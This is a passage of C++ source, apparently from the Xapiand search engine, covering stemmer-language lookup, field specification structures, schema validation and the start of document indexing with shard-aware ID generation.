true, "en" }; return en; } case _.fhhl("earlyenglish"): { static const std::pair<bool, const std::string> en{ false, "en" }; return en; } case _.fhhl("english_lovins"): { static const std::pair<bool, const std::string> en{ false, "en" }; return en; } case _.fhhl("lovins"): { static const std::pair<bool, const std::string> en{ false, "en" }; return en; } case _.fhhl("english_porter"): { static const std::pair<bool, const std::string> en{ false, "en" }; return en; } case _.fhhl("porter"): { static const std::pair<bool, const std::string> en{ false, "en" }; return en; } case _.fhhl("finnish"): { static const std::pair<bool, const std::string> fi{ true, "fi" }; return fi; } case _.fhhl("fi"): { static const std::pair<bool, const std::string> fi{ true, "fi" }; return fi; } case _.fhhl("french"): { static const std::pair<bool, const std::string> fr{ true, "fr" }; return fr; } case _.fhhl("fr"): { static const std::pair<bool, const std::string> fr{ true, "fr" }; return fr; } case _.fhhl("german"): { static const std::pair<bool, const std::string> de{ true, "de" }; return de; } case _.fhhl("de"): { static const std::pair<bool, const std::string> de{ true, "de" }; return de; } case _.fhhl("german2"): { static const std::pair<bool, const std::string> de{ false, "de" }; return de; } case _.fhhl("hungarian"): { static const std::pair<bool, const std::string> hu{ true, "hu" }; return hu; } case _.fhhl("hu"): { static const std::pair<bool, const std::string> hu{ true, "hu" }; return hu; } case _.fhhl("italian"): { static const std::pair<bool, const std::string> it{ true, "it" }; return it; } case _.fhhl("it"): { static const std::pair<bool, const std::string> it{ true, "it" }; return it; } case _.fhhl("norwegian"): { static const std::pair<bool, const std::string> no{ true, "no" }; return no; } case _.fhhl("nb"): { static const std::pair<bool, const std::string> no{ false, "no" }; return no; } case _.fhhl("nn"): { static const std::pair<bool, const std::string> no{ false, "no" }; return no; } case _.fhhl("no"): { static const std::pair<bool, const std::string> no{ true, "no" }; return no; } case _.fhhl("portuguese"): { static const std::pair<bool, const std::string> pt{ true, "pt" }; return pt; } case _.fhhl("pt"): { static const std::pair<bool, const std::string> pt{ true, "pt" }; return pt; } case _.fhhl("romanian"): { static const std::pair<bool, const std::string> ro{ true, "ro" }; return ro; } case _.fhhl("ro"): { static const std::pair<bool, const std::string> ro{ true, "ro" }; return ro; } case _.fhhl("russian"): { static const std::pair<bool, const std::string> ru{ true, "ru" }; return ru; } case _.fhhl("ru"): { static const std::pair<bool, const std::string> ru{ true, "ru" }; return ru; } case _.fhhl("spanish"): { static const std::pair<bool, const std::string> es{ true, "es" }; return es; } case _.fhhl("es"): { static const std::pair<bool, const std::string> es{ true, "es" }; return es; } case _.fhhl("swedish"): { static const std::pair<bool, const std::string> sv{ true, "sv" }; return sv; } case _.fhhl("sv"): { static const std::pair<bool, const std::string> sv{ true, "sv" }; return sv; } case _.fhhl("turkish"): { static const std::pair<bool, const std::string> tr{ true, "tr" }; return tr; } case _.fhhl("tr"): { static const std::pair<bool, const std::string> tr{ true, "tr" }; return tr; } case _.fhhl("none"): case _.fhhl(""): { static const std::pair<bool, const std::string> _{ true, "" }; return _; } default: { static const std::pair<bool, const std::string> _{ false, "unknown" }; return _; } } } std::string repr_field(std::string_view name, std::string_view field_name) { return name == field_name ? repr(name) : strings::format("{} ({})", repr(name), repr(field_name)); } bool has_dispatch_set_default_spc(uint32_t key); bool has_dispatch_process_properties(uint32_t key); bool has_dispatch_process_concrete_properties(uint32_t key); required_spc_t::flags_t::flags_t() : bool_term(DEFAULT_BOOL_TERM), partials(DEFAULT_GEO_PARTIALS), store(true), parent_store(true), recurse(true), dynamic(true), strict(false), date_detection(true), datetime_detection(true), time_detection(true), timedelta_detection(true), numeric_detection(true), geo_detection(true), bool_detection(true), text_detection(true), uuid_detection(true), partial_paths(false), is_namespace(false), ngram(false), cjk_ngram(false), cjk_words(false), field_found(true), concrete(false), complete(false), uuid_field(false), uuid_path(false), inside_namespace(false), #ifdef XAPIAND_CHAISCRIPT normalized_script(false), #endif has_uuid_prefix(false), has_bool_term(false), has_index(false), has_namespace(false), has_partial_paths(false), static_endpoint(false) { } std::string required_spc_t::prefix_t::to_string() const { auto res = repr(field); if (uuid.empty()) { return res; } res.insert(0, 1, '(').append(", ").append(repr(uuid)).push_back(')'); return res; } std::string required_spc_t::prefix_t::operator()() const noexcept { return field; } required_spc_t::required_spc_t() : sep_types({{ FieldType::empty, FieldType::empty, FieldType::empty, FieldType::empty }}), slot(Xapian::BAD_VALUENO), stop_strategy(DEFAULT_STOP_STRATEGY), stem_strategy(DEFAULT_STEM_STRATEGY), error(DEFAULT_GEO_ERROR) { } required_spc_t::required_spc_t(Xapian::valueno slot, FieldType type, std::vector<uint64_t> accuracy, std::vector<std::string> acc_prefix) : sep_types({{ FieldType::empty, FieldType::empty, FieldType::empty, type }}), slot(slot), accuracy(std::move(accuracy)), acc_prefix(std::move(acc_prefix)), stop_strategy(DEFAULT_STOP_STRATEGY), stem_strategy(DEFAULT_STEM_STRATEGY), error(DEFAULT_GEO_ERROR) { } required_spc_t::required_spc_t(const required_spc_t& o) = default; required_spc_t::required_spc_t(required_spc_t&& o) noexcept : sep_types(std::move(o.sep_types)), prefix(std::move(o.prefix)), slot(std::move(o.slot)), flags(std::move(o.flags)), accuracy(std::move(o.accuracy)), acc_prefix(std::move(o.acc_prefix)), ignored(std::move(o.ignored)), language(std::move(o.language)), stop_strategy(std::move(o.stop_strategy)), stem_strategy(std::move(o.stem_strategy)), stem_language(std::move(o.stem_language)), error(std::move(o.error)) { } required_spc_t& required_spc_t::operator=(const required_spc_t& o) = default; required_spc_t& required_spc_t::operator=(required_spc_t&& o) noexcept { sep_types = std::move(o.sep_types); prefix = std::move(o.prefix); slot = std::move(o.slot); flags = std::move(o.flags); accuracy = std::move(o.accuracy); acc_prefix = std::move(o.acc_prefix); ignored = std::move(o.ignored); language = std::move(o.language); stop_strategy = std::move(o.stop_strategy); stem_strategy = std::move(o.stem_strategy); stem_language = std::move(o.stem_language); error = std::move(o.error); return *this; } const std::array<FieldType, SPC_TOTAL_TYPES>& required_spc_t::get_types(std::string_view str_type) { L_CALL("required_spc_t::get_types({})", repr(str_type)); const auto& type = _get_type(str_type); if (std::string_view(reinterpret_cast<const char*>(type.data()), SPC_TOTAL_TYPES) == (EMPTY + EMPTY + EMPTY + EMPTY)) { THROW(ClientError, "{} not supported, '{}' must be one of {{ 'date', 'datetime', 'float', 'geospatial', 'integer', 'positive', 'script', 'keyword', 'string', 'text', 'time', 'timedelta', 'uuid' }} or any of their {{ 'object/<type>', 'array/<type>', 'object/array/<type>', 'foreign/<type>', 'foreign/object/<type>,', 'foreign/array/<type>', 'foreign/object/array/<type>' }} variations.", repr(str_type), RESERVED_TYPE); } return type; } const std::string& required_spc_t::get_str_type(const std::array<FieldType, SPC_TOTAL_TYPES>& sep_types) { L_CALL("required_spc_t::get_str_type({{ {}, {}, {}, {} }})", toUType(sep_types[SPC_FOREIGN_TYPE]), toUType(sep_types[SPC_OBJECT_TYPE]), toUType(sep_types[SPC_ARRAY_TYPE]), toUType(sep_types[SPC_CONCRETE_TYPE])); return _get_str_type(sep_types); } void required_spc_t::set_types(std::string_view str_type) { L_CALL("required_spc_t::set_types({})", repr(str_type)); sep_types = get_types(str_type); } MsgPack required_spc_t::to_obj() const { MsgPack obj; // required_spc_t obj["type"] = _get_str_type(sep_types); obj["prefix"] = prefix.to_string(); obj["slot"] = slot; auto& obj_flags = obj["flags"] = MsgPack::MAP(); obj_flags["bool_term"] = flags.bool_term; obj_flags["partials"] = flags.partials; obj_flags["store"] = flags.store; obj_flags["parent_store"] = flags.parent_store; obj_flags["recurse"] = flags.recurse; obj_flags["dynamic"] = flags.dynamic; obj_flags["strict"] = flags.strict; obj_flags["date_detection"] = flags.date_detection; obj_flags["datetime_detection"] = flags.datetime_detection; obj_flags["time_detection"] = flags.time_detection; obj_flags["timedelta_detection"] = flags.timedelta_detection; obj_flags["numeric_detection"] = flags.numeric_detection; obj_flags["geo_detection"] = flags.geo_detection; obj_flags["bool_detection"] = flags.bool_detection; obj_flags["text_detection"] = flags.text_detection; obj_flags["uuid_detection"] = flags.uuid_detection; obj_flags["partial_paths"] = flags.partial_paths; obj_flags["is_namespace"] = flags.is_namespace; obj_flags["field_found"] = flags.field_found; obj_flags["concrete"] = flags.concrete; obj_flags["complete"] = flags.complete; obj_flags["uuid_field"] = flags.uuid_field; obj_flags["uuid_path"] = flags.uuid_path; obj_flags["inside_namespace"] = flags.inside_namespace; #ifdef XAPIAND_CHAISCRIPT obj_flags["normalized_script"] = flags.normalized_script; #endif obj_flags["has_uuid_prefix"] = flags.has_uuid_prefix; obj_flags["has_bool_term"] = flags.has_bool_term; obj_flags["has_index"] = flags.has_index; obj_flags["has_namespace"] = flags.has_namespace; obj_flags["has_partial_paths"] = flags.has_partial_paths; obj_flags["static_endpoint"] = flags.static_endpoint; obj_flags["ngram"] = flags.ngram; obj_flags["cjk_ngram"] = flags.cjk_ngram; obj_flags["cjk_words"] = flags.cjk_words; auto& obj_accuracy = obj["accuracy"] = MsgPack::ARRAY(); for (const auto& a : accuracy) { obj_accuracy.append(a); } auto& obj_acc_prefix = obj["acc_prefix"] = MsgPack::ARRAY(); for (const auto& a : acc_prefix) { obj_acc_prefix.append(a); } auto& obj_ignore = obj["ignored"] = MsgPack::ARRAY(); for (const auto& a : ignored) { obj_ignore.append(a); } obj["language"] = language; obj["stop_strategy"] = enum_name(stop_strategy); obj["stem_strategy"] = enum_name(stem_strategy); obj["stem_language"] = stem_language; obj["error"] = error; return obj; } std::string required_spc_t::to_string(int indent) const { return to_obj().to_string(indent); } index_spc_t::index_spc_t(required_spc_t&& spc) : type(std::move(spc.sep_types[SPC_CONCRETE_TYPE])), prefix(std::move(spc.prefix.field)), slot(std::move(spc.slot)), accuracy(std::move(spc.accuracy)), acc_prefix(std::move(spc.acc_prefix)) { } index_spc_t::index_spc_t(const required_spc_t& spc) : type(spc.sep_types[SPC_CONCRETE_TYPE]), prefix(spc.prefix.field), slot(spc.slot), accuracy(spc.accuracy), acc_prefix(spc.acc_prefix) { } specification_t::specification_t() : position({ 0 }), weight({ 1 }), spelling({ DEFAULT_SPELLING }), positions({ DEFAULT_POSITIONS }), index(DEFAULT_INDEX), index_uuid_field(DEFAULT_INDEX_UUID_FIELD) { } specification_t::specification_t(Xapian::valueno slot, FieldType type, const std::vector<uint64_t>& accuracy, const std::vector<std::string>& acc_prefix) : required_spc_t(slot, type, accuracy, acc_prefix), position({ 0 }), weight({ 1 }), spelling({ DEFAULT_SPELLING }), positions({ DEFAULT_POSITIONS }), index(DEFAULT_INDEX), index_uuid_field(DEFAULT_INDEX_UUID_FIELD) { } specification_t::specification_t(const specification_t& o) : required_spc_t(o), local_prefix(o.local_prefix), position(o.position), weight(o.weight), spelling(o.spelling), positions(o.positions), index(o.index), index_uuid_field(o.index_uuid_field), meta_name(o.meta_name), full_meta_name(o.full_meta_name), aux_stem_language(o.aux_stem_language), aux_language(o.aux_language), partial_prefixes(o.partial_prefixes), partial_index_spcs(o.partial_index_spcs) { } specification_t::specification_t(specification_t&& o) noexcept : required_spc_t(std::move(o)), local_prefix(std::move(o.local_prefix)), position(std::move(o.position)), weight(std::move(o.weight)), spelling(std::move(o.spelling)), positions(std::move(o.positions)), index(std::move(o.index)), index_uuid_field(std::move(o.index_uuid_field)), meta_name(std::move(o.meta_name)), full_meta_name(std::move(o.full_meta_name)), aux_stem_language(std::move(o.aux_stem_language)), aux_language(std::move(o.aux_language)), partial_prefixes(std::move(o.partial_prefixes)), partial_index_spcs(std::move(o.partial_index_spcs)) { } specification_t& specification_t::operator=(const specification_t& o) { local_prefix = o.local_prefix; position = o.position; weight = o.weight; spelling = o.spelling; positions = o.positions; index = o.index; index_uuid_field = o.index_uuid_field; value_rec.reset(); value.reset(); doc_acc.reset(); #ifdef XAPIAND_CHAISCRIPT script.reset(); #endif meta_name = o.meta_name; full_meta_name = o.full_meta_name; aux_stem_language = o.aux_stem_language; aux_language = o.aux_language; partial_prefixes = o.partial_prefixes; partial_index_spcs = o.partial_index_spcs; required_spc_t::operator=(o); return *this; } specification_t& specification_t::operator=(specification_t&& o) noexcept { local_prefix = std::move(o.local_prefix); position = std::move(o.position); weight = std::move(o.weight); spelling = std::move(o.spelling); positions = std::move(o.positions); index = std::move(o.index); index_uuid_field = std::move(o.index_uuid_field); value_rec.reset(); value.reset(); doc_acc.reset(); #ifdef XAPIAND_CHAISCRIPT script.reset(); #endif meta_name = std::move(o.meta_name); full_meta_name = std::move(o.full_meta_name); aux_stem_language = std::move(o.aux_stem_language); aux_language = std::move(o.aux_language); partial_prefixes = std::move(o.partial_prefixes); partial_index_spcs = std::move(o.partial_index_spcs); required_spc_t::operator=(std::move(o)); return *this; } FieldType specification_t::global_type(FieldType field_type) { switch (field_type) { case FieldType::floating: case FieldType::integer: case FieldType::positive: case FieldType::boolean: case FieldType::date: case FieldType::datetime: case FieldType::time: case FieldType::timedelta: case FieldType::geo: case FieldType::uuid: case FieldType::keyword: return field_type; case FieldType::string: case FieldType::text: return FieldType::text; default: THROW(ClientError, "Type: {:#04x} is an unknown type", toUType(field_type)); } } const specification_t& specification_t::get_global(FieldType field_type) { switch (field_type) { case FieldType::floating: { static const specification_t spc(DB_SLOT_NUMERIC, FieldType::floating, def_accuracy_num, global_acc_prefix_num); return spc; } case FieldType::integer: { static const specification_t spc(DB_SLOT_NUMERIC, FieldType::integer, def_accuracy_num, global_acc_prefix_num); return spc; } case FieldType::positive: { static const specification_t spc(DB_SLOT_NUMERIC, FieldType::positive, def_accuracy_num, global_acc_prefix_num); return spc; } case FieldType::boolean: { static const specification_t spc(DB_SLOT_BOOLEAN, FieldType::boolean, default_spc.accuracy, default_spc.acc_prefix); return spc; } case FieldType::date: { static const specification_t spc(DB_SLOT_DATE, FieldType::date, def_accuracy_datetime, global_acc_prefix_date); return spc; } case FieldType::datetime: { static const specification_t spc(DB_SLOT_DATE, FieldType::datetime, def_accuracy_datetime, global_acc_prefix_date); return spc; } case FieldType::time: { static const specification_t spc(DB_SLOT_TIME, FieldType::time, def_accuracy_time, global_acc_prefix_time); return spc; } case FieldType::timedelta: { static const specification_t spc(DB_SLOT_TIMEDELTA, FieldType::timedelta, def_accuracy_time, global_acc_prefix_time); return spc; } case FieldType::geo: { static const specification_t spc(DB_SLOT_GEO, FieldType::geo, def_accuracy_geo, global_acc_prefix_geo); return spc; } case FieldType::uuid: { static const specification_t spc(DB_SLOT_UUID, FieldType::uuid, default_spc.accuracy, default_spc.acc_prefix); return spc; } case FieldType::keyword: { static const specification_t spc(DB_SLOT_STRING, FieldType::keyword, default_spc.accuracy, default_spc.acc_prefix); return spc; } case FieldType::string: case FieldType::text: { static const specification_t spc(DB_SLOT_STRING, FieldType::text, default_spc.accuracy, default_spc.acc_prefix); return spc; } default: THROW(ClientError, "Type: {:#04x} is an unknown type", toUType(field_type)); } } void specification_t::update(index_spc_t&& spc) { sep_types[SPC_CONCRETE_TYPE] = std::move(spc.type); prefix.field = std::move(spc.prefix); slot = std::move(spc.slot); accuracy = std::move(spc.accuracy); acc_prefix = std::move(spc.acc_prefix); } void specification_t::update(const index_spc_t& spc) { sep_types[SPC_CONCRETE_TYPE] = spc.type; prefix.field = spc.prefix; slot = spc.slot; accuracy = spc.accuracy; acc_prefix = spc.acc_prefix; } MsgPack specification_t::to_obj() const { MsgPack obj = required_spc_t::to_obj(); // specification_t obj["local_prefix"] = local_prefix.to_string(); auto& obj_position = obj["position"] = MsgPack::ARRAY(); for (const auto& p : position) { obj_position.append(p); } auto& obj_weight = obj["weight"] = MsgPack::ARRAY(); for (const auto& w : weight) { obj_weight.append(w); } auto& obj_spelling = obj["spelling"] = MsgPack::ARRAY(); for (const auto& s : spelling) { obj_spelling.append(static_cast<bool>(s)); } auto& obj_positions = obj["positions"] = MsgPack::ARRAY(); for (const auto& p : positions) { obj_positions.append(static_cast<bool>(p)); } obj["index"] = _get_str_index(index); obj["index_uuid_field"] = _get_str_index_uuid_field(index_uuid_field); obj["value_rec"] = value_rec ? value_rec->to_string() : MsgPack::NIL(); obj["value"] = value ? value->to_string() : MsgPack::NIL(); obj["doc_acc"] = doc_acc ? doc_acc->to_string() : MsgPack::NIL(); #ifdef XAPIAND_CHAISCRIPT obj["script"] = script ? script->to_string() : MsgPack::NIL(); #endif obj["endpoint"] = endpoint; obj["meta_name"] = meta_name; obj["full_meta_name"] = full_meta_name; obj["aux_stem_language"] = aux_stem_language; obj["aux_language"] = aux_language; auto& obj_partial_prefixes = obj["partial_prefixes"] = MsgPack::ARRAY(); for (const auto& p : partial_prefixes) { obj_partial_prefixes.append(p.to_string()); } auto& obj_partial_index_spcs = obj["partial_index_spcs"] = MsgPack::ARRAY(); for (const auto& s : partial_index_spcs) { obj_partial_index_spcs.append(MsgPack({ { "prefix", repr(s.prefix) }, { "slot", s.slot }, })); } return obj; } std::string specification_t::to_string(int indent) const { return to_obj().to_string(indent); } template <typename ErrorType> std::pair<const MsgPack*, const MsgPack*> Schema::check(const MsgPack& object, const char* prefix, bool allow_foreign, bool allow_root) { L_CALL("Schema::check({}, <prefix>, allow_foreign:{}, allow_root:{})", repr(object.to_string()), allow_foreign, allow_root); if (object.empty()) { THROW(ErrorType, "{}Schema object is empty", prefix); } // Check foreign: if (allow_foreign) { if (object.is_string()) { return std::make_pair(&object, nullptr); } if (!object.is_map()) { THROW(ErrorType, "{}Schema must be a map", prefix); } auto it_end = object.end(); auto type_it = object.find(RESERVED_TYPE); if (type_it != it_end) { auto& type = type_it.value(); if (!type.is_string()) { THROW(ErrorType, "{}Schema field '{}' must be a string", prefix, RESERVED_TYPE); } auto type_name = type.str_view(); const auto& sep_types = required_spc_t::get_types(type_name); if (sep_types[SPC_FOREIGN_TYPE] == FieldType::foreign) { auto endpoint_it = object.find(RESERVED_ENDPOINT); if (endpoint_it == it_end) { THROW(ErrorType, "{}Schema field '{}' does not exist", prefix, RESERVED_ENDPOINT); } auto& endpoint = endpoint_it.value(); if (!endpoint.is_string()) { THROW(ErrorType, "{}Schema field '{}' must be a string", prefix, RESERVED_ENDPOINT); } return std::make_pair(&endpoint, &object); } if (sep_types[SPC_OBJECT_TYPE] != FieldType::object) { THROW(ErrorType, "{}Schema object has an unsupported type: {}", prefix, type_name); } } } else { if (!object.is_map()) { THROW(ErrorType, "{}Schema must be a map", prefix); } } auto it_end = object.end(); // Check schema object: auto schema_it = object.find(SCHEMA_FIELD_NAME); if (schema_it == it_end) { if (!allow_root) { THROW(ErrorType, "{}Schema field '{}' does not exist", prefix, SCHEMA_FIELD_NAME); } return std::make_pair(nullptr, nullptr); } auto& schema = schema_it.value(); if (!schema.is_map()) { THROW(ErrorType, "{}Schema field '{}' is not an object", prefix, SCHEMA_FIELD_NAME); } auto schema_it_end = schema.end(); auto type_it = schema.find(RESERVED_TYPE); if (type_it != schema_it_end) { auto& type = type_it.value(); if (!type.is_string()) { THROW(ErrorType, "{}Schema field '{}.{}' must be a string", prefix, SCHEMA_FIELD_NAME, RESERVED_TYPE); } auto type_name = type.str_view(); const auto& sep_types = required_spc_t::get_types(type_name); if (sep_types[SPC_OBJECT_TYPE] != FieldType::object) { THROW(ErrorType, "{}Schema field '{}' has an unsupported type: {}", prefix, SCHEMA_FIELD_NAME, type_name); } } // Prevent schemas from having a '_schemas' field inside: auto reserved_schema_it = object.find(RESERVED_SCHEMA); if (reserved_schema_it != it_end) { THROW(ErrorType, "{}Schema field '{}' is not valid", prefix, RESERVED_SCHEMA); } return std::make_pair(nullptr, &schema); } Schema::Schema(std::shared_ptr<const MsgPack> s, std::unique_ptr<MsgPack> m, std::string o) : schema(std::move(s)), mut_schema(std::move(m)), origin(std::move(o)) { auto checked = check<Error>(*schema, "Schema is corrupt: ", true, false); if (checked.first != nullptr) { schema = get_initial_schema(); } } std::shared_ptr<const MsgPack> Schema::get_initial_schema() { L_CALL("Schema::get_initial_schema()"); static const MsgPack initial_schema_tpl({ { RESERVED_IGNORE, SCHEMA_FIELD_NAME }, { SCHEMA_FIELD_NAME, MsgPack::MAP() }, }); auto initial_schema = std::make_shared<const MsgPack>(initial_schema_tpl); initial_schema->lock(); return initial_schema; } const MsgPack& Schema::get_properties(std::string_view full_meta_name) { L_CALL("Schema::get_properties({})", repr(full_meta_name)); const MsgPack* prop = &get_properties(); Split<std::string_view> field_names(full_meta_name, DB_OFFSPRING_UNION); for (const auto& field_name : field_names) { prop = &prop->at(field_name); } return *prop; } MsgPack& Schema::get_mutable_properties(std::string_view full_meta_name) { L_CALL("Schema::get_mutable_properties({})", repr(full_meta_name)); MsgPack* prop = &get_mutable_properties(); Split<std::string_view> field_names(full_meta_name, DB_OFFSPRING_UNION); for (const auto& field_name : field_names) { prop = &prop->get(field_name); } return *prop; } const MsgPack& Schema::get_newest_properties(std::string_view full_meta_name) { L_CALL("Schema::get_newest_properties({})", repr(full_meta_name)); const MsgPack* prop = &get_newest_properties(); Split<std::string_view> field_names(full_meta_name, DB_OFFSPRING_UNION); for (const auto& field_name : field_names) { prop = &prop->at(field_name); } return *prop; } MsgPack& Schema::clear() { L_CALL("Schema::clear()"); auto& prop = get_mutable_properties(); prop.clear(); return prop; } inline void Schema::restart_specification() { L_CALL("Schema::restart_specification()"); specification.flags.partials = default_spc.flags.partials; specification.error = default_spc.error; specification.flags.ngram = default_spc.flags.ngram; specification.flags.cjk_ngram = default_spc.flags.cjk_ngram; specification.flags.cjk_words = default_spc.flags.cjk_words; specification.language = default_spc.language; specification.stop_strategy = default_spc.stop_strategy; specification.stem_strategy = default_spc.stem_strategy; specification.stem_language = default_spc.stem_language; specification.flags.bool_term = default_spc.flags.bool_term; specification.flags.has_bool_term = default_spc.flags.has_bool_term; specification.flags.has_index = default_spc.flags.has_index; specification.flags.has_namespace = default_spc.flags.has_namespace; specification.flags.static_endpoint = default_spc.flags.static_endpoint; specification.flags.concrete = default_spc.flags.concrete; specification.flags.complete = default_spc.flags.complete; specification.flags.uuid_field = default_spc.flags.uuid_field; specification.sep_types = default_spc.sep_types; specification.endpoint = default_spc.endpoint; specification.local_prefix = default_spc.local_prefix; specification.slot = default_spc.slot; specification.accuracy = default_spc.accuracy; specification.acc_prefix = default_spc.acc_prefix; specification.aux_stem_language = default_spc.aux_stem_language; specification.aux_language = default_spc.aux_language; specification.ignored = default_spc.ignored; specification.partial_index_spcs = default_spc.partial_index_spcs; } inline void Schema::restart_namespace_specification() { L_CALL("Schema::restart_namespace_specification()"); specification.flags.bool_term = default_spc.flags.bool_term; specification.flags.has_bool_term = default_spc.flags.has_bool_term; specification.flags.static_endpoint = default_spc.flags.static_endpoint; specification.flags.concrete = default_spc.flags.concrete; specification.flags.complete = default_spc.flags.complete; specification.flags.uuid_field = default_spc.flags.uuid_field; specification.sep_types = default_spc.sep_types; specification.endpoint = default_spc.endpoint; specification.aux_stem_language = default_spc.aux_stem_language; specification.aux_language = default_spc.aux_language; specification.partial_index_spcs = default_spc.partial_index_spcs; } struct FedSpecification : MsgPack::Data { specification_t specification; FedSpecification(specification_t specification) : specification(std::move(specification)) { } }; template <typename T> inline bool Schema::feed_subproperties(T& properties, std::string_view meta_name) { L_CALL("Schema::feed_subproperties({}, {})", repr(properties->to_string()), repr(meta_name)); auto it = properties->find(meta_name); if (it == properties->end()) { return false; } properties = &it.value(); const auto data = std::static_pointer_cast<const FedSpecification>(properties->get_data()); if (data) { // This is the feed cache auto local_prefix_uuid = specification.local_prefix.uuid; auto prefix = specification.prefix; specification = data->specification; specification.prefix = prefix; specification.local_prefix.uuid = local_prefix_uuid; return true; } specification.flags.field_found = true; const auto& stem = _get_stem_language(meta_name); if (stem.first && stem.second != "unknown") { specification.language = stem.second; specification.aux_language = stem.second; } if (specification.full_meta_name.empty()) { specification.full_meta_name.assign(meta_name); } else { specification.full_meta_name.append(1, DB_OFFSPRING_UNION).append(meta_name); } dispatch_feed_properties(*properties); properties->set_data(std::make_shared<const FedSpecification>(specification)); return true; } /* _____ _____ _____ _____ _____ _____ _____ _____ * |_____|_____|_____|_____|_____|_____|_____|_____| * ___ _ * |_ _|_ __ __| | _____ __ * | || '_ \ / _` |/ _ \ \/ / * | || | | | (_| | __/> < * |___|_| |_|\__,_|\___/_/\_\ * _____ _____ _____ _____ _____ _____ _____ _____ * |_____|_____|_____|_____|_____|_____|_____|_____| */ std::tuple<std::string, Xapian::Document, MsgPack> Schema::index(const MsgPack& object, MsgPack document_id, DatabaseHandler& db_handler, const Data& data) { L_CALL("Schema::index({}, {}, <db_handler>)", repr(object.to_string()), repr(document_id.to_string())); static UUIDGenerator generator; L_INDEX("Schema index({}): " + DIM_GREY + "{}", document_id.to_string(), object.to_string()); try { map_values.clear(); specification = default_spc; specification.slot = DB_SLOT_ROOT; // Set default RESERVED_SLOT for root FieldVector fields; fields.reserve(object.size()); Field* id_field = nullptr; auto properties = &get_newest_properties(); if (object.empty()) { dispatch_feed_properties(*properties); } else if (properties->empty()) { // new schemas have empty properties specification.flags.field_found = false; auto mut_properties = &get_mutable_properties(); dispatch_write_properties(*mut_properties, object, fields, &id_field); properties = &*mut_properties; } else { dispatch_feed_properties(*properties); dispatch_process_properties(object, fields, &id_field); } auto spc_id = get_data_id(); if (id_field != nullptr && id_field->second != nullptr && id_field->second->is_map()) { _get_data_id(spc_id, *id_field->second); } auto id_type = spc_id.get_type(); std::string unprefixed_term_id; std::string term_id; if (!document_id) { switch (id_type) { case FieldType::empty: id_type = FieldType::uuid; spc_id.set_type(id_type); set_data_id(spc_id); properties = &get_mutable_properties(); [[fallthrough]]; case FieldType::uuid: { size_t n_shards = db_handler.endpoints.size(); size_t shard_num = 0; // Try getting a new ID which can currently be indexed (active node) // Get the least used shard: auto min_doccount = std::numeric_limits<Xapian::doccount>::max(); for (size_t n = 0; n < n_shards; ++n) { auto& endpoint = db_handler.endpoints[n]; auto node = endpoint.node(); if (node && node->is_active()) { try { lock_shard lk_shard(endpoint, db_handler.flags); auto doccount = lk_shard->db()->get_doccount(); if (min_doccount > doccount) { min_doccount = doccount; shard_num = n; } } catch (...) {} } } // Figure out a term which goes into the least used shard: for (int t = 10; t >= 0; --t) { auto tmp_unprefixed_term_id = generator(opts.uuid_compact).serialise(); auto tmp_term_id = prefixed(tmp_unprefixed_term_id, spc_id.prefix(), spc_id.get_ctype()); auto tmp_shard_num = fnv1ah64::hash(tmp_term_id) % n_shards; auto& endpoint = db_handler.endpoints[tmp_shard_num]; auto node = endpoint.node(); if (node && node->is_active()) { unprefixed_term_id = std::move(tmp_unprefixed_term_id); term_id = std::move(tmp_term_id); if (shard_num == tmp_shard_num) { break; } } } document_id = Unserialise::uuid(unprefixed_term_id, static_cast<UUIDRepr>(opts.uuid_repr)); break; } case FieldType::integer: document_id = MsgPack(0).as_i64(); unprefixed_term_id = Serialise::serialise(spc_id, document_id); term_id = prefixed(unprefixed_term_id, spc_id.prefix(), spc_id.get_ctype()); break; case FieldType::positive: document_id = MsgPack(0).as_u64(); unprefixed_term_id = Serialise::serialise(spc_id, document_id); term_id = prefixed(unprefixed_term_id, spc_id.prefix(), spc_id.get_ctype()); break; case FieldType::floating: document_id = MsgPack(0).as_f64(); unprefixed_term_id = Serialise::serialise(spc_id, document_id); term_id = prefixed(unprefixed_term_id, spc_id.prefix(), spc_id.get_ctype()); break; case FieldType::text: case FieldType::string: case FieldType::keyword: { size_t n_shards = db_handler.endpoints.size(); size_t shard_num = 0; // Try getting a new ID which can currently be indexed (active node) // Get the least used shard: auto min_doccount = std::numeric_limits<Xapian::doccount>::max(); for (size_t n = 0; n < n_shards; ++n) { auto& endpoint = db_handler.endpoints[n]; auto node = endpoint.node(); if (node && node->is_active()) { try { lock_shard lk_shard(endpoint, db_handler.flags); auto doccount = lk_shard->db()->get_doccount(); if (min_doccount > doccount) { min_doccount = doccount; shard_num = n; } } catch (...) {} } } // Figure out a term which goes into the least used shard: for (int t = 10; t >= 0; --t) { auto tmp_document_id = Base64::rfc4648url_unpadded().encode(generator(true).serialise()); auto tmp_unprefixed_term_id = Serialise::serialise(spc_id, tmp_document_id); auto tmp_term_id = prefixed(tmp_unprefixed_term_id, spc_id.prefix(), spc_id.get_ctype()); auto tmp_shard_num = fnv1ah64::hash(tmp_term_id) % n_shards; auto& endpoint = db_handler.endpoints[tmp_shard_num]; auto node = endpoint.node(); if (node && node->is_active()) { document_id = std::move(tmp_document_id); unprefixed_term_id = std::move(tmp_unprefixed_term_id); term_id = std::move(tmp_term_id); if (shard_num == tmp_shard_num) { break; } } } break; } default: THROW(ClientError, "Invalid datatype for '{}'", ID_FIELD_NAME); } } else { // Get early term ID when possible switch (id_type) { case FieldType::empty: { const auto type_ser = Serialise::guess_serialise(document_id); id_type = type_ser.first; if (id_type == FieldType::text || id_type == FieldType::string) { id_type = FieldType::keyword; } spc_id.set_type(id_type); spc_id.flags.bool_term = true; set_data_id(spc_id); properties = &get_mutable_properties(); unprefixed_term_id = type_ser.second; document_id = Cast::cast(id_type, document_id); break; } case FieldType::uuid: case FieldType::integer: case FieldType::positive: case FieldType::floating: case FieldType::text: case FieldType::string: case FieldType::keyword: document_id = Cast::cast(id_type, document_id); unprefixed_term_id = Serialise::serialise(spc_id, document_id); break; default: THROW(ClientError, "Invalid datatype for '{}'", ID_FIELD_NAME); } term_id = prefixed(unprefixed_term_id, spc_id.prefix(), spc_id.get_ctype()); } #ifdef XAPIAND_CHAISCRIPT std::unique_ptr<MsgPack> mut_object; if (specification.script) { mut_object = db_handler.call_script(object, term_id, *specification.script, data); if (mut_object != nullptr) { if (!mut_object->is_map()) { THROW(ClientError, "Script must return an object, it returned {}", enum_name(mut_object->get_type())); } // Rebuild fields with new values. fields.clear(); fields.reserve(mut_object->size()); id_field = nullptr; const auto it_e = mut_object->end(); for (auto it = mut_object->begin(); it != it_e; ++it) { auto str_key = it->str_view(); if (is_reserved(str_key)) { auto key = hh(str_key); if 